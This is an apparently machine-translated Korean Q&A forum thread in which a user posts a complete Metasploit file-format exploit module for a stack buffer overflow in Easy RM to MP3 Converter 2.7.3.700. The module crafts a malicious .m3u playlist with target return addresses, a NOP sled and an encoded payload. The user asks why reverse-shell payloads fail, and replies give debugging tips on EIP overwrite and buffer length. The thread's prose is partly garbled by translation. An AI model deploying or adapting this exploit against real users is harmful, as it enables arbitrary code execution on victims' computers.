2013-07-01 9 views
0

[여기에 이미지 설명을 입력하십시오] [1] 나는 몇 시간 전에 악용 사례를 작성하고 몇 가지 악용 사례를 만들었습니다. 그들 중 하나는 쉽게 rm to mp3 변환기이며, 꽤 잘 작동했습니다. 그러나 지금은 악용 코드를 metasploit 모듈로 변환하는 방법에 대해 생각해 보았습니다. 그러나 내가 직면하고있는 유일한 오류는 페이로드가 작동하지 않는다는 것입니다. 궁극적으로, 나는 유사한 모듈을 찾기 위해 온라인에서 찾아 보았고, 확실히 작동 할 것으로 예상되는 모듈을 발견했다. 그러나 meterpreter 페이로드를 사용할 때는 meterpreter 세션이나 쉘을 다시 가져 오지 않습니다. 내가 페이로드의 숫자 밖으로 시도metasploit의 "Easyrmtomp3"악용 모듈 관련 문제

require 'msf/core' 

class Metasploit3 < Msf::Exploit::Remote 
    Rank = GoodRanking 

    include Msf::Exploit::FILEFORMAT 

    def initialize(info = {}) 
     super(update_info(info, 
      'Name' => 'Easy RM to MP3 Converter (2.7.3.700) Stack Buffer Overflow', 
     'Description' => %q{ 
       This module exploits a stack buffer overflow in versions 2.7.3.700 
       creating a specially crafted .m3u8 file, an attacker may be able 
       to execute arbitrary code. 
     }, 
      'License' => MSF_LICENSE, 
      'Author' => 
       [ 
       'Crazy_Hacker', # Original 
     'buzz', 
       ], 
      'Version' => 'Version 1', 
      'References' => 
       [ 
        [ 'URL', 'http://packetstormsecurity.org/files/view/79307/easyrmmp3-overflow.txt' ], 
       ], 
      'DefaultOptions' => 
       { 
        'EXITFUNC' => 'process', 
       }, 
      'Payload' => 
       { 
        'Space' => 1000, 
        'BadChars' => "\x00\x0a", 
        'StackAdjustment' => -3500, 
       }, 
      'Platform' => 'win', 
      'Targets' => 
       [ 

        [ 'Windows XP SP2 (En)', { 'Ret' => 0x01A13F01} ], # Universal Address (MSRMCcodec02.dll) 
        [ 'Windows XP SP3 (Fr)', { 'Ret' => 0x01AAF23A} ], # FFE4 ,JMP, ESP from (MSRMCcodec02.dll) 
        [ 'Windows XP (Universal)', { 'Ret' => 0x773D4540} ], # JMP ESP in (SHELL32.DLL) 
       ], 
      'Privileged' => false, 
      'DefaultTarget' => 1)) 

     register_options(
      [ 
       OptString.new('FILENAME', [ false, 'The file name.', 'buzz.m3u']), 
      ], self.class) 
    end 


    def exploit 

     sploit ="A"*26068 # rand_text_alphanumeric(26068) # Buffer Overflow 
     sploit << [target.ret].pack('V') 
     sploit << "\x90" * 30 # nopsled 
     sploit << payload.encoded 
     sploit << "B"*1000 
     buzz= sploit 
     print_status("Creating '#{datastore['FILENAME']}' file ...") 
     file_create(buzz) 

    end 

end 

: meterpreter/reverse_tcp, shell/reverse_tcp, e.t.c.을하지만 아무도 제대로 작동하지 일부 변경 한 후, 여기에 내가 사용하는 것입니다. 어떤 해결책?

답변

0

또한 사용중인 OS 및 모듈을 실행하기 위해 제공 한 매개 변수에 대한 자세한 내용을 제공해야합니다.

Ret에서 볼 수있는 포인터는 OS에 따라 다릅니다.

아직 응용 프로그램 내에서 어떤 일이 벌어 지는지 보려면 디버거를 연결 했습니까? 에서 내가 무엇을 볼 수 있고 악용에 대해 알 수있는 당신의 퍼징 문자열이

26,068 그것은 그 이상이어야한다 * 버퍼

sploit = ​​"A"에 적합한 것 같습니다하지 않습니다. 디버거를 부착하고 EIP를 덮어 썼는지 확인하십시오.

감사합니다, T0X1C 내가 메타 스플로 잇를 사용하는 경우 (등, 검사 한 EIP badchars 검사) 위의 테스트가 심지어 면역 디버거를 사용하여 간단한 루비 스크립트를 실행 만든 일, XP SP3 창을 사용하여

+0

만 .Its 페이로드가 작동하지 않는다는 것 –

+0

루비 스크립트는 당신이 사용했던 것과 어떻게 비슷하게 보이며 보편적으로 0x773D4540에서 jmp esp를 사용할 수 있습니까? 디버거의 스크린 샷도 유용 할 수 있습니다. –

+0

미안하지만 스택 오버플로에서만 2 번째 질문입니다. 이미지를 게시하기에 충분한 점수를 얻지 못하고 곧 이미지를 모으고 게시 해보십시오. – user27812